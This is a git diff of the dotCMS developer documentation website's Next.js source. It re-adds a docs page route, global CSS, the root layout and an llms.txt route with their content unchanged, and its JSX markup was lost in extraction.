- const hostname = "https://dev.dotcms.com";
- const { pageAsset } = await fetchPageData(path, slug);
-
- // Check if urlContentMap exists before accessing _map
- if (!pageAsset?.urlContentMap?.inode) {
- return {
- title: "Page Not Found",
- description: "The requested page could not be found"
- };
- }
-
- // Check if the page's tags include 'dot:meta-no-index'
- const tags = pageAsset.urlContentMap.tag || [];
- const shouldNoIndex = Array.isArray(tags)
- ? tags.includes('dot:meta-no-index')
- : typeof tags === 'string' && tags.includes('dot:meta-no-index');
-
- // Check if this is a security issue detail page
- let title = pageAsset.urlContentMap.navTitle || pageAsset.urlContentMap.title;
-
- if (slug === 'known-security-issues' && finalSearchParams.issueNumber) {
- try {
- const { securityIssues } = await getSecurityIssues(1, 1, undefined, false, finalSearchParams.issueNumber);
- if (securityIssues && securityIssues.length > 0) {
- title = `${securityIssues[0].issueNumber} | Known Security Issues`;
- }
- } catch (error) {
- console.warn('Failed to fetch security issue for metadata:', error);
- // Fall back to default title
- }
- }
-
- const metadata = {
- title: title,
- description: pageAsset.urlContentMap.seoDescription,
- keywords: pageAsset.urlContentMap.tag,
- openGraph: {
- title: title,
- description: pageAsset.urlContentMap.seoDescription,
- keywords: pageAsset.urlContentMap.tag,
- url: `${hostname}${path}`,
- siteName: 'dotCMS Docs',
- images: [{
- url: `${hostname}/dA/4b13a794db115b14ce79d30850712188/1024maxw/80q/}`,
- width: 1200,
- height: 630,
- alt: pageAsset.urlContentMap.seoDescription || pageAsset.urlContentMap.navTitle,
- }],
- locale: 'en_US',
- type: 'article',
- },
- alternates: {
- canonical: `${hostname}${path}`,
- },
- metadataBase: new URL(hostname),
- };
-
- // Add robots meta tag if 'dot:meta-no-index' is present
- if (shouldNoIndex) {
- metadata.robots = 'noindex, nofollow';
- }
-
- return metadata;
-}
-
-
-// JSON-LD component for documentation pages
-function JsonLd({ pageData, path, hostname }) {
- // Add null checks for pageData and contentlet
- if (!pageData?.contentlet) {
- return null;
- }
-
- const title = pageData.contentlet.navTitle || pageData.contentlet.title || '';
- const description = pageData.contentlet.seoDescription || '';
- const datePublished = pageData.contentlet.publishDate || '';
- const dateModified = pageData.contentlet.modDate || '';
- const keywords = pageData.contentlet.tag || [];
-
- // Different schema types based on content
- let schemaType = "TechArticle"; // Default for documentation
-
- // Check for special content types and adjust schema
- if (path.includes("changelog") || path.includes("releases")) {
- schemaType = "SoftwareApplication";
- } else if (path.includes("api") || path.includes("rest-api")) {
- schemaType = "APIReference";
- }
-
- const jsonLd = {
- "@context": "https://schema.org",
- "@type": schemaType,
- "headline": title,
- "description": description,
- "datePublished": datePublished,
- "dateModified": dateModified,
- "image": `${hostname}/dA/4b13a794db115b14ce79d30850712188/1024maxw/80q/`,
- "mainEntityOfPage": {
- "@type": "WebPage",
- "@id": `${hostname}${path}`
- },
- "publisher": {
- "@type": "Organization",
- "name": "dotCMS",
- "logo": {
- "@type": "ImageObject",
- "url": `${hostname}/images/dotcms-logo.png`
- }
- }
- };
-
- // Add properties specific to certain schema types
- if (schemaType === "SoftwareApplication") {
- jsonLd.applicationCategory = "CMS";
- jsonLd.operatingSystem = "All";
- }
-
- // Add keywords if available
- if (keywords && keywords.length > 0) {
- jsonLd.keywords = Array.isArray(keywords) ? keywords.join(', ') : keywords;
- }
-
- return (
-
- );
-}
-
-export default async function Home({ searchParams, params }) {
- const finalParams = await params;
- const finalSearchParams = await searchParams;
-
- // Use consistent slug processing
- const slug = processSlug(finalParams.slug);
- const path = "/docs/" + (slug || "table-of-contents");
- const hostname = "https://dev.dotcms.com";
- const pageData = await getDotCMSPage(path);
-
- if (!pageData || !pageData.pageAsset) {
- notFound();
- }
-
- const { pageAsset } = pageData;
-
- const sideNav = await getSideNav();
- const navSections = await getNavSections({ path: '/docs/nav', depth: 4, languageId: 1, ttlSeconds: 600 });
-
- // Check if urlContentMap exists
- if (!pageAsset?.urlContentMap?.inode) {
- notFound();
- }
-
- // Handle GitHub docs if needed (this sets githubSource flag)
- if (isGitHubDoc(slug)) {
- const githubConfig = getGitHubConfig(slug);
-
- if (githubConfig && pageAsset?.urlContentMap?.inode) {
- const contentResult = await getDocsContentWithGitHub(
- slug,
- githubConfig,
- () => pageAsset?.urlContentMap?._map?.documentation || ''
- );
-
- if (contentResult.source === 'github') {
- if (!pageAsset.urlContentMap._map) {
- pageAsset.urlContentMap._map = {};
- }
-
- pageAsset.urlContentMap._map.documentation = contentResult.content;
- pageAsset.urlContentMap._map.githubSource = true;
- pageAsset.urlContentMap._map.githubConfig = contentResult.config;
- }
- }
- }
-
- // Fetch all deprecations once (uses 1hr cache)
- let allDeprecations = null;
- try {
- allDeprecations = await getDeprecations();
- } catch(e) {
- console.error("Error fetching deprecations:", e);
- allDeprecations = null;
- }
-
- // Find matching deprecation for this specific page (OR logic - always check)
- let deprecationForPage = null;
- if (allDeprecations && Array.isArray(allDeprecations)) {
- deprecationForPage = allDeprecations.find(dep =>
- dep.docLinks &&
- Array.isArray(dep.docLinks) &&
- dep.docLinks.some(link => link.urlTitle === slug)
- ) || null;
- }
-
- const data = {
- contentlet: pageAsset.urlContentMap,
- sideNav: sideNav,
- currentPath: slug,
- searchParams: finalSearchParams,
- deprecation: deprecationForPage,
- allDeprecations: slug === 'deprecations' ? allDeprecations : undefined
- }
-
- // Add more path-component mappings here as needed:
- // "path-name": (contentlet) => ,
- const componentMap = {
- "changelogs": (data) => ,
- "current-releases": (data) => ,
- "all-releases": (data) => ,
- "previous-releases": (data) => ,
- "known-security-issues": (data) => ,
- "deprecations": (data) => ,
- "rest-api-sampler": (data) => ,
- "all-rest-apis": (data) => ,
- default: (data) => {
- // Check if this is GitHub-sourced content
- // githubSource is set on urlContentMap._map, so check _map property
- if (data.contentlet._map?.githubSource) {
- return ;
- }
- return ;
- }
- };
-
-
- return (
-
-
-
-
-
-
- {/* Left Navigation - Hide on mobile */}
-
-
-
-
- {/* Main Content - Full width on mobile */}
-
- {(componentMap[slug] || componentMap.default)(data)}
-
-
-
-
- {pageAsset.layout.footer &&
}
-
- );
-
-}
+import { notFound } from "next/navigation";
+import { getDotCMSPage } from "@/util/getDotCMSPage";
+import { getSideNav } from "@/services/docs/getSideNav"
+import { isGitHubDoc, getGitHubConfig } from "@/config/github-docs";
+import { getDocsContentWithGitHub } from "@/services/docs/getGitHubContent";
+import Header from "@/components/header/header";
+import Footer from "@/components/footer";
+import Documentation from "@/components/documentation/Documentation";
+import GitHubDocumentation from "@/components/documentation/GitHubDocumentation";
+import ChangeLogList from "@/components/changelogs/ChangeLogList";
+import RedesignedNavTree from "@/components/navigation/RedesignedNavTree";
+import { getNavSections } from "@/services/docs/getNavSections";
+import CurrentReleases from "@/components/releases/CurrentReleases";
+import AllReleases from "@/components/releases/AllReleases";
+import AllSecurityIssues from "@/components/security-issues/AllSecurityIssues";
+import RestApiPlayground from "@/components/playgrounds/RestApiPlayground/RestApiPlayground";
+import SwaggerUIComponent from "@/components/playgrounds/SwaggerUIComponent/SwaggerUIComponent";
+import Script from "next/script";
+import { getSecurityIssues } from "@/services/docs/getSecurityIssues/getSecurityIssues";
+import Deprecations from "@/components/deprecations/Deprecations";
+import getDeprecations from "@/services/docs/getDeprecations/getDeprecations";
+
+/**
+ * Process slug consistently across all functions
+ * @param {string|string[]|undefined} slug - The slug from params
+ * @returns {string} - The processed slug
+ */
+function processSlug(slug) {
+ // Handle slug as array (for nested paths) or string, and ensure consistent processing
+ const slugArray = Array.isArray(slug) ? slug : (slug ? [slug] : []);
+ const processedSlug = slugArray.filter(Boolean).join('/').toLowerCase();
+ // Convert 'table-of-contents' to empty string for consistency with GitHub docs check
+ return processedSlug === 'table-of-contents' ? '' : processedSlug;
+}
+
+async function fetchPageData(path, slug) {
+ const finalPath = await path;
+ const pageData = await getDotCMSPage(finalPath);
+
+ if (!pageData || !pageData.pageAsset) {
+ notFound();
+ }
+
+ const { pageAsset } = pageData;
+
+ const sideNav = await getSideNav();
+
+ // Check if this is a GitHub docs page
+ if (isGitHubDoc(slug)) {
+ const githubConfig = getGitHubConfig(slug);
+
+ // Only proceed if githubConfig exists and pageAsset structure is valid
+ if (githubConfig && pageAsset?.urlContentMap?._map) {
+ // Fetch GitHub content with fallback to dotCMS
+ const contentResult = await getDocsContentWithGitHub(
+ slug,
+ githubConfig,
+ () => pageAsset?.urlContentMap?._map?.documentation || ''
+ );
+
+ // Replace the documentation content with GitHub content
+ if (contentResult.source === 'github') {
+ // Ensure urlContentMap and _map exist before mutation
+ if (!pageAsset.urlContentMap) {
+ pageAsset.urlContentMap = {};
+ }
+ if (!pageAsset.urlContentMap._map) {
+ pageAsset.urlContentMap._map = {};
+ }
+
+ pageAsset.urlContentMap._map.documentation = contentResult.content;
+ pageAsset.urlContentMap._map.githubSource = true;
+ pageAsset.urlContentMap._map.githubConfig = contentResult.config;
+ }
+ }
+ }
+
+ return { pageAsset, sideNav, currentPath: finalPath };
+}
+
+/**
+ * Generate metadata
+ *
+ * @export
+ * @param {*} { params, searchParams }
+ * @return {*}
+ */
+export async function generateMetadata({ params, searchParams }) {
+ const finalParams = await params;
+ const finalSearchParams = await searchParams;
+ const slug = processSlug(finalParams.slug);
+ const path = "/docs/" + (slug || "table-of-contents");
+ const hostname = "https://dev.dotcms.com";
+ const { pageAsset } = await fetchPageData(path, slug);
+
+ // Check if urlContentMap exists before accessing _map
+ if (!pageAsset?.urlContentMap?.inode) {
+ return {
+ title: "Page Not Found",
+ description: "The requested page could not be found"
+ };
+ }
+
+ // Check if the page's tags include 'dot:meta-no-index'
+ const tags = pageAsset.urlContentMap.tag || [];
+ const shouldNoIndex = Array.isArray(tags)
+ ? tags.includes('dot:meta-no-index')
+ : typeof tags === 'string' && tags.includes('dot:meta-no-index');
+
+ // Check if this is a security issue detail page
+ let title = pageAsset.urlContentMap.navTitle || pageAsset.urlContentMap.title;
+
+ if (slug === 'known-security-issues' && finalSearchParams.issueNumber) {
+ try {
+ const { securityIssues } = await getSecurityIssues(1, 1, undefined, false, finalSearchParams.issueNumber);
+ if (securityIssues && securityIssues.length > 0) {
+ title = `${securityIssues[0].issueNumber} | Known Security Issues`;
+ }
+ } catch (error) {
+ console.warn('Failed to fetch security issue for metadata:', error);
+ // Fall back to default title
+ }
+ }
+
+ const metadata = {
+ title: title,
+ description: pageAsset.urlContentMap.seoDescription,
+ keywords: pageAsset.urlContentMap.tag,
+ openGraph: {
+ title: title,
+ description: pageAsset.urlContentMap.seoDescription,
+ keywords: pageAsset.urlContentMap.tag,
+ url: `${hostname}${path}`,
+ siteName: 'dotCMS Docs',
+ images: [{
+ url: `${hostname}/dA/4b13a794db115b14ce79d30850712188/1024maxw/80q/}`,
+ width: 1200,
+ height: 630,
+ alt: pageAsset.urlContentMap.seoDescription || pageAsset.urlContentMap.navTitle,
+ }],
+ locale: 'en_US',
+ type: 'article',
+ },
+ alternates: {
+ canonical: `${hostname}${path}`,
+ },
+ metadataBase: new URL(hostname),
+ };
+
+ // Add robots meta tag if 'dot:meta-no-index' is present
+ if (shouldNoIndex) {
+ metadata.robots = 'noindex, nofollow';
+ }
+
+ return metadata;
+}
+
+
+// JSON-LD component for documentation pages
+function JsonLd({ pageData, path, hostname }) {
+ // Add null checks for pageData and contentlet
+ if (!pageData?.contentlet) {
+ return null;
+ }
+
+ const title = pageData.contentlet.navTitle || pageData.contentlet.title || '';
+ const description = pageData.contentlet.seoDescription || '';
+ const datePublished = pageData.contentlet.publishDate || '';
+ const dateModified = pageData.contentlet.modDate || '';
+ const keywords = pageData.contentlet.tag || [];
+
+ // Different schema types based on content
+ let schemaType = "TechArticle"; // Default for documentation
+
+ // Check for special content types and adjust schema
+ if (path.includes("changelog") || path.includes("releases")) {
+ schemaType = "SoftwareApplication";
+ } else if (path.includes("api") || path.includes("rest-api")) {
+ schemaType = "APIReference";
+ }
+
+ const jsonLd = {
+ "@context": "https://schema.org",
+ "@type": schemaType,
+ "headline": title,
+ "description": description,
+ "datePublished": datePublished,
+ "dateModified": dateModified,
+ "image": `${hostname}/dA/4b13a794db115b14ce79d30850712188/1024maxw/80q/`,
+ "mainEntityOfPage": {
+ "@type": "WebPage",
+ "@id": `${hostname}${path}`
+ },
+ "publisher": {
+ "@type": "Organization",
+ "name": "dotCMS",
+ "logo": {
+ "@type": "ImageObject",
+ "url": `${hostname}/images/dotcms-logo.png`
+ }
+ }
+ };
+
+ // Add properties specific to certain schema types
+ if (schemaType === "SoftwareApplication") {
+ jsonLd.applicationCategory = "CMS";
+ jsonLd.operatingSystem = "All";
+ }
+
+ // Add keywords if available
+ if (keywords && keywords.length > 0) {
+ jsonLd.keywords = Array.isArray(keywords) ? keywords.join(', ') : keywords;
+ }
+
+ return (
+
+ );
+}
+
+export default async function Home({ searchParams, params }) {
+ const finalParams = await params;
+ const finalSearchParams = await searchParams;
+
+ // Use consistent slug processing
+ const slug = processSlug(finalParams.slug);
+ const path = "/docs/" + (slug || "table-of-contents");
+ const hostname = "https://dev.dotcms.com";
+ const pageData = await getDotCMSPage(path);
+
+ if (!pageData || !pageData.pageAsset) {
+ notFound();
+ }
+
+ const { pageAsset } = pageData;
+
+ const sideNav = await getSideNav();
+ const navSections = await getNavSections({ path: '/docs/nav', depth: 4, languageId: 1, ttlSeconds: 600 });
+
+ // Check if urlContentMap exists
+ if (!pageAsset?.urlContentMap?.inode) {
+ notFound();
+ }
+
+ // Handle GitHub docs if needed (this sets githubSource flag)
+ if (isGitHubDoc(slug)) {
+ const githubConfig = getGitHubConfig(slug);
+
+ if (githubConfig && pageAsset?.urlContentMap?.inode) {
+ const contentResult = await getDocsContentWithGitHub(
+ slug,
+ githubConfig,
+ () => pageAsset?.urlContentMap?._map?.documentation || ''
+ );
+
+ if (contentResult.source === 'github') {
+ if (!pageAsset.urlContentMap._map) {
+ pageAsset.urlContentMap._map = {};
+ }
+
+ pageAsset.urlContentMap._map.documentation = contentResult.content;
+ pageAsset.urlContentMap._map.githubSource = true;
+ pageAsset.urlContentMap._map.githubConfig = contentResult.config;
+ }
+ }
+ }
+
+ // Fetch all deprecations once (uses 1hr cache)
+ let allDeprecations = null;
+ try {
+ allDeprecations = await getDeprecations();
+ } catch(e) {
+ console.error("Error fetching deprecations:", e);
+ allDeprecations = null;
+ }
+
+ // Find matching deprecation for this specific page (OR logic - always check)
+ let deprecationForPage = null;
+ if (allDeprecations && Array.isArray(allDeprecations)) {
+ deprecationForPage = allDeprecations.find(dep =>
+ dep.docLinks &&
+ Array.isArray(dep.docLinks) &&
+ dep.docLinks.some(link => link.urlTitle === slug)
+ ) || null;
+ }
+
+ const data = {
+ contentlet: pageAsset.urlContentMap,
+ sideNav: sideNav,
+ currentPath: slug,
+ searchParams: finalSearchParams,
+ deprecation: deprecationForPage,
+ allDeprecations: slug === 'deprecations' ? allDeprecations : undefined
+ }
+
+ // Add more path-component mappings here as needed:
+ // "path-name": (contentlet) => ,
+ const componentMap = {
+ "changelogs": (data) => ,
+ "current-releases": (data) => ,
+ "all-releases": (data) => ,
+ "previous-releases": (data) => ,
+ "known-security-issues": (data) => ,
+ "deprecations": (data) => ,
+ "rest-api-sampler": (data) => ,
+ "all-rest-apis": (data) => ,
+ default: (data) => {
+ // Check if this is GitHub-sourced content
+ // githubSource is set on urlContentMap._map, so check _map property
+ if (data.contentlet._map?.githubSource) {
+ return ;
+ }
+ return ;
+ }
+ };
+
+
+ return (
+
+
+
+
+
+
+ {/* Left Navigation - Hide on mobile */}
+
+
+
+
+ {/* Main Content - Full width on mobile */}
+
+ {(componentMap[slug] || componentMap.default)(data)}
+
+
+
+
+ {pageAsset.layout.footer &&
}
+
+ );
+
+}
diff --git a/app/globals.css b/app/globals.css
index de2bd9a..973f0e8 100644
--- a/app/globals.css
+++ b/app/globals.css
@@ -1,157 +1,157 @@
-@tailwind base;
-@tailwind components;
-@tailwind utilities;
-
-:root {
- --foreground-rgb: 0, 0, 0;
- --background-start-rgb: 214, 219, 220;
- --background-end-rgb: 255, 255, 255;
-}
-
-@media (prefers-color-scheme: dark) {
- :root {
- --foreground-rgb: 255, 255, 255;
- --background-start-rgb: 0, 0, 0;
- --background-end-rgb: 0, 0, 0;
- }
-}
-
-
-@layer base {
- :root {
- --background: 0 0% 100%;
- --foreground: 224 71.4% 4.1%;
- --card: 0 0% 100%;
- --card-foreground: 224 71.4% 4.1%;
- --popover: 0 0% 100%;
- --popover-foreground: 224 71.4% 4.1%;
- --primary: 287 80% 53%;
- --primary-foreground: 210 20% 98%;
- --secondary: 220 14.3% 95.9%;
- --secondary-foreground: 220.9 39.3% 11%;
- --muted: 220 14.3% 95.9%;
- --muted-foreground: 220 8.9% 35%;
- --accent: 220 14.3% 95.9%;
- --accent-foreground: 220.9 39.3% 11%;
- --destructive: 0 84.2% 60.2%;
- --destructive-foreground: 210 20% 98%;
- --border: 220 13% 91%;
- --input: 220 13% 91%;
- --ring: 287 80% 53%;
- --radius: 0.5rem;
- --chart-1: 12 76% 61%;
- --chart-2: 173 58% 39%;
- --chart-3: 197 37% 24%;
- --chart-4: 43 74% 66%;
- --chart-5: 27 87% 67%;
- --swagger-inline-code-foreground: #9012fe;
- --swagger-inline-code-background: rgba(0,0,0,.05);
- --swagger-input-background: rgba(255, 255, 255, 1);
- --swagger-input-foreground: #3b4151;
- }
-
- .dark {
- --background: 224 71.4% 4.1%;
- --foreground: 210 20% 98%;
- --card: 224 71.4% 4.1%;
- --card-foreground: 210 20% 98%;
- --popover: 224 71.4% 4.1%;
- --popover-foreground: 210 20% 98%;
- --primary: 287 80% 53%;
- --primary-foreground: 210 20% 98%;
- --secondary: 215 27.9% 16.9%;
- --secondary-foreground: 210 20% 98%;
- --muted: 215 27.9% 16.9%;
- --muted-foreground: 217.9 10.6% 75%;
- --accent: 215 27.9% 16.9%;
- --accent-foreground: 210 20% 98%;
- --destructive: 0 62.8% 30.6%;
- --destructive-foreground: 210 20% 98%;
- --border: 215 27.9% 16.9%;
- --input: 215 27.9% 16.9%;
- --ring: 287 80% 53%;
- --chart-1: 220 70% 50%;
- --chart-2: 160 60% 45%;
- --chart-3: 30 80% 55%;
- --chart-4: 280 65% 60%;
- --chart-5: 340 75% 55%;
- --swagger-inline-code-foreground: #cf99ff;
- --swagger-inline-code-background: rgba(255,255,255,.05);
- --swagger-input-background: rgba(255,255,255,.05);
- --swagger-input-foreground: hsl(224 71.4% 4.1%);
- }
-
- * {
- @apply border-border;
- }
- html,
- body {
- @apply antialiased bg-background text-foreground;
- }
-
- /* Adding these to make short list items a bit less spacey*/
- li > p:first-child {
- margin-top: 0;
- }
- li > p:last-child {
- margin-bottom: 0;
- }
- td code {
- word-break: break-word;
- }
-}
-
-
-html,
-body {
- min-height: 100vh;
- display: flex;
- flex-direction: column;
-}
-
-main {
- flex: 1;
-}
-
-
-
-
-/* Swagger UI specs for the All APIs page */
-.swagger-ui :not(pre):not(pre *):not(span.opblock-summary-method):not(code) {
- color: hsl(var(--foreground)) !important;
-}
-.swagger-ui .renderedMarkdown code {
- color: var(--swagger-inline-code-foreground) !important;
- background: var(--swagger-inline-code-background) !important;
-}
-.swagger-ui input, .swagger-ui textarea {
- background: var(--swagger-input-background) !important;
-}
-.swagger-ui .arrow {
- fill: hsl(var(--foreground));
-}
-.swagger-ui select {
- background: hsl(var(--muted)) !important;
- color: hsl(var(--foreground)) !important;
- -moz-appearance: auto !important;
- -webkit-appearance: auto !important;
- appearance: auto !important;
-}
-.swagger-ui .opblock-section-header {
- background: hsla(0,0%,100%,.1) !important;
-}
-.swagger-ui .scheme-container {
- display: none;
-}
-.swagger-ui .model-toggle:after {
- background: url("data:image/svg+xml;charset=utf-8, ") 50% no-repeat !important;
-}
-
-.dot-row-container {
- width: 100%;
- margin-right: auto;
- margin-left: auto;
- padding-right: 2rem;
- padding-left: 2rem;
-}
-
+@tailwind base;
+@tailwind components;
+@tailwind utilities;
+
+:root {
+ --foreground-rgb: 0, 0, 0;
+ --background-start-rgb: 214, 219, 220;
+ --background-end-rgb: 255, 255, 255;
+}
+
+@media (prefers-color-scheme: dark) {
+ :root {
+ --foreground-rgb: 255, 255, 255;
+ --background-start-rgb: 0, 0, 0;
+ --background-end-rgb: 0, 0, 0;
+ }
+}
+
+
+@layer base {
+ :root {
+ --background: 0 0% 100%;
+ --foreground: 224 71.4% 4.1%;
+ --card: 0 0% 100%;
+ --card-foreground: 224 71.4% 4.1%;
+ --popover: 0 0% 100%;
+ --popover-foreground: 224 71.4% 4.1%;
+ --primary: 287 80% 53%;
+ --primary-foreground: 210 20% 98%;
+ --secondary: 220 14.3% 95.9%;
+ --secondary-foreground: 220.9 39.3% 11%;
+ --muted: 220 14.3% 95.9%;
+ --muted-foreground: 220 8.9% 35%;
+ --accent: 220 14.3% 95.9%;
+ --accent-foreground: 220.9 39.3% 11%;
+ --destructive: 0 84.2% 60.2%;
+ --destructive-foreground: 210 20% 98%;
+ --border: 220 13% 91%;
+ --input: 220 13% 91%;
+ --ring: 287 80% 53%;
+ --radius: 0.5rem;
+ --chart-1: 12 76% 61%;
+ --chart-2: 173 58% 39%;
+ --chart-3: 197 37% 24%;
+ --chart-4: 43 74% 66%;
+ --chart-5: 27 87% 67%;
+ --swagger-inline-code-foreground: #9012fe;
+ --swagger-inline-code-background: rgba(0,0,0,.05);
+ --swagger-input-background: rgba(255, 255, 255, 1);
+ --swagger-input-foreground: #3b4151;
+ }
+
+ .dark {
+ --background: 224 71.4% 4.1%;
+ --foreground: 210 20% 98%;
+ --card: 224 71.4% 4.1%;
+ --card-foreground: 210 20% 98%;
+ --popover: 224 71.4% 4.1%;
+ --popover-foreground: 210 20% 98%;
+ --primary: 287 80% 53%;
+ --primary-foreground: 210 20% 98%;
+ --secondary: 215 27.9% 16.9%;
+ --secondary-foreground: 210 20% 98%;
+ --muted: 215 27.9% 16.9%;
+ --muted-foreground: 217.9 10.6% 75%;
+ --accent: 215 27.9% 16.9%;
+ --accent-foreground: 210 20% 98%;
+ --destructive: 0 62.8% 30.6%;
+ --destructive-foreground: 210 20% 98%;
+ --border: 215 27.9% 16.9%;
+ --input: 215 27.9% 16.9%;
+ --ring: 287 80% 53%;
+ --chart-1: 220 70% 50%;
+ --chart-2: 160 60% 45%;
+ --chart-3: 30 80% 55%;
+ --chart-4: 280 65% 60%;
+ --chart-5: 340 75% 55%;
+ --swagger-inline-code-foreground: #cf99ff;
+ --swagger-inline-code-background: rgba(255,255,255,.05);
+ --swagger-input-background: rgba(255,255,255,.05);
+ --swagger-input-foreground: hsl(224 71.4% 4.1%);
+ }
+
+ * {
+ @apply border-border;
+ }
+ html,
+ body {
+ @apply antialiased bg-background text-foreground;
+ }
+
+ /* Adding these to make short list items a bit less spacey*/
+ li > p:first-child {
+ margin-top: 0;
+ }
+ li > p:last-child {
+ margin-bottom: 0;
+ }
+ td code {
+ word-break: break-word;
+ }
+}
+
+
+html,
+body {
+ min-height: 100vh;
+ display: flex;
+ flex-direction: column;
+}
+
+main {
+ flex: 1;
+}
+
+
+
+
+/* Swagger UI specs for the All APIs page */
+.swagger-ui :not(pre):not(pre *):not(span.opblock-summary-method):not(code) {
+ color: hsl(var(--foreground)) !important;
+}
+.swagger-ui .renderedMarkdown code {
+ color: var(--swagger-inline-code-foreground) !important;
+ background: var(--swagger-inline-code-background) !important;
+}
+.swagger-ui input, .swagger-ui textarea {
+ background: var(--swagger-input-background) !important;
+}
+.swagger-ui .arrow {
+ fill: hsl(var(--foreground));
+}
+.swagger-ui select {
+ background: hsl(var(--muted)) !important;
+ color: hsl(var(--foreground)) !important;
+ -moz-appearance: auto !important;
+ -webkit-appearance: auto !important;
+ appearance: auto !important;
+}
+.swagger-ui .opblock-section-header {
+ background: hsla(0,0%,100%,.1) !important;
+}
+.swagger-ui .scheme-container {
+ display: none;
+}
+.swagger-ui .model-toggle:after {
+ background: url("data:image/svg+xml;charset=utf-8, ") 50% no-repeat !important;
+}
+
+.dot-row-container {
+ width: 100%;
+ margin-right: auto;
+ margin-left: auto;
+ padding-right: 2rem;
+ padding-left: 2rem;
+}
+
diff --git a/app/layout.tsx b/app/layout.tsx
index 44e6864..413b1fb 100644
--- a/app/layout.tsx
+++ b/app/layout.tsx
@@ -1,99 +1,99 @@
-import './globals.css';
-import type { Metadata, Viewport } from 'next';
-import { Inter } from 'next/font/google';
-import { ThemeProvider } from '@/components/header/theme-provider';
-import { Toaster } from '@/components/ui/toaster';
-import ErrorBoundary from '@/components/ErrorBoundary';
-import { GoogleAnalytics } from '@next/third-parties/google';
-import { AlertBanner } from '@/components/AlertBanner';
-import MicrosoftClarity from '@/components/metrics/MicrosoftClarity';
-import { InitialScroll } from '@/components/InitialScroll';
-import { SpeedInsights } from "@vercel/speed-insights/next"
-import { LeadboxerScript } from '@/components/metrics/Leadboxer';
-import { DotContentAnalytics } from "@dotcms/analytics/react";
-import { AnalyticsConfig } from '@/util/config';
-
-const inter = Inter({
- subsets: ['latin'],
- display: 'swap',
-});
-
-export const viewport: Viewport = {
- width: 'device-width',
- initialScale: 1,
- maximumScale: 5,
- userScalable: true,
- themeColor: [
- { media: '(prefers-color-scheme: light)', color: 'white' },
- { media: '(prefers-color-scheme: dark)', color: 'black' },
- ],
-};
-
-export const metadata: Metadata = {
- title: {
- template: '%s | dotCMS Dev Site',
- default: 'dotCMS Dev Site',
- },
- description: 'dotCMS Dev Site and Resources - Learn about dotCMS\'s core concepts, features, and best practices',
- metadataBase: new URL('https://dev.dotcms.com'),
- publisher: 'dotCMS',
- icons: {
- icon: '/static/favicon.ico',
- shortcut: '/static/favicon.ico',
- apple: '/static/favicon.ico',
- },
- openGraph: {
- type: 'website',
- locale: 'en_US',
- siteName: 'dotCMS Dev Site',
- },
- twitter: {
- card: 'summary_large_image',
- creator: '@dotcms',
- site: '@dotcms',
- title: 'dotCMS Dev Site',
- description: 'dotCMS Dev Site and Resources - Learn about dotCMS\'s core concepts, features, and best practices',
- images: ['https://dev.dotcms.com/dA/a6e0a89831/70q/1000maxw/dotcms-dev-site.webp'],
- },
- robots: {
- index: true,
- follow: true,
- },
-};
-
-export default function RootLayout({
- children,
-}: {
- children: React.ReactNode;
-}) {
- return (
-
-
-
-
-
- dotCMS is now licensed under the BSL 1.1 and is free to use in many cases. Learn more here .
- >
- }
- />
-
- {children}
-
-
-
-
-
-
-
-
-
-
- );
-}
+import './globals.css';
+import type { Metadata, Viewport } from 'next';
+import { Inter } from 'next/font/google';
+import { ThemeProvider } from '@/components/header/theme-provider';
+import { Toaster } from '@/components/ui/toaster';
+import ErrorBoundary from '@/components/ErrorBoundary';
+import { GoogleAnalytics } from '@next/third-parties/google';
+import { AlertBanner } from '@/components/AlertBanner';
+import MicrosoftClarity from '@/components/metrics/MicrosoftClarity';
+import { InitialScroll } from '@/components/InitialScroll';
+import { SpeedInsights } from "@vercel/speed-insights/next"
+import { LeadboxerScript } from '@/components/metrics/Leadboxer';
+import { DotContentAnalytics } from "@dotcms/analytics/react";
+import { AnalyticsConfig } from '@/util/config';
+
+const inter = Inter({
+ subsets: ['latin'],
+ display: 'swap',
+});
+
+export const viewport: Viewport = {
+ width: 'device-width',
+ initialScale: 1,
+ maximumScale: 5,
+ userScalable: true,
+ themeColor: [
+ { media: '(prefers-color-scheme: light)', color: 'white' },
+ { media: '(prefers-color-scheme: dark)', color: 'black' },
+ ],
+};
+
+export const metadata: Metadata = {
+ title: {
+ template: '%s | dotCMS Dev Site',
+ default: 'dotCMS Dev Site',
+ },
+ description: 'dotCMS Dev Site and Resources - Learn about dotCMS\'s core concepts, features, and best practices',
+ metadataBase: new URL('https://dev.dotcms.com'),
+ publisher: 'dotCMS',
+ icons: {
+ icon: '/static/favicon.ico',
+ shortcut: '/static/favicon.ico',
+ apple: '/static/favicon.ico',
+ },
+ openGraph: {
+ type: 'website',
+ locale: 'en_US',
+ siteName: 'dotCMS Dev Site',
+ },
+ twitter: {
+ card: 'summary_large_image',
+ creator: '@dotcms',
+ site: '@dotcms',
+ title: 'dotCMS Dev Site',
+ description: 'dotCMS Dev Site and Resources - Learn about dotCMS\'s core concepts, features, and best practices',
+ images: ['https://dev.dotcms.com/dA/a6e0a89831/70q/1000maxw/dotcms-dev-site.webp'],
+ },
+ robots: {
+ index: true,
+ follow: true,
+ },
+};
+
+export default function RootLayout({
+ children,
+}: {
+ children: React.ReactNode;
+}) {
+ return (
+
+
+
+
+
+ dotCMS is now licensed under the BSL 1.1 and is free to use in many cases. Learn more here .
+ >
+ }
+ />
+
+ {children}
+
+
+
+
+
+
+
+
+
+
+ );
+}
diff --git a/app/llms.txt/route.ts b/app/llms.txt/route.ts
index 753deaf..243aef5 100644
--- a/app/llms.txt/route.ts
+++ b/app/llms.txt/route.ts
@@ -1,103 +1,103 @@
-import { getNavSections } from "@/services/docs/getNavSections";
-import { Config } from "@/util/config";
-import { type NavItem, type NavSection } from "@/util/navTransform";
-
-function escapeMarkdownTitle(title: string): string {
- return title.replace(/\[/g, '\\[').replace(/\]/g, '\\]');
-}
-
-function buildFullUrl(href: string, baseUrl: string): string {
- if (href.startsWith('http://') || href.startsWith('https://')) {
- return href;
- }
- return new URL(href, baseUrl).href;
-}
-
-function generateLlmTxt(sections: NavSection[], baseUrl: string): string {
- const lines: string[] = [];
-
- lines.push('# dotCMS Documentation');
- lines.push('');
- lines.push(`@base-url: ${baseUrl}`);
- lines.push('');
-
- function processItems(items: NavItem[], depth: number = 0): void {
- for (const item of items) {
- const indent = ' '.repeat(depth);
- const hasChildren = item.items && item.items.length > 0;
-
- if (item.href === '#' || !item.href) {
- if (hasChildren && item.items) {
- if (depth === 0) {
- if (lines.length > 0 && lines[lines.length - 1] !== '') {
- lines.push('');
- }
- lines.push(`- ${escapeMarkdownTitle(item.title)}`);
- } else {
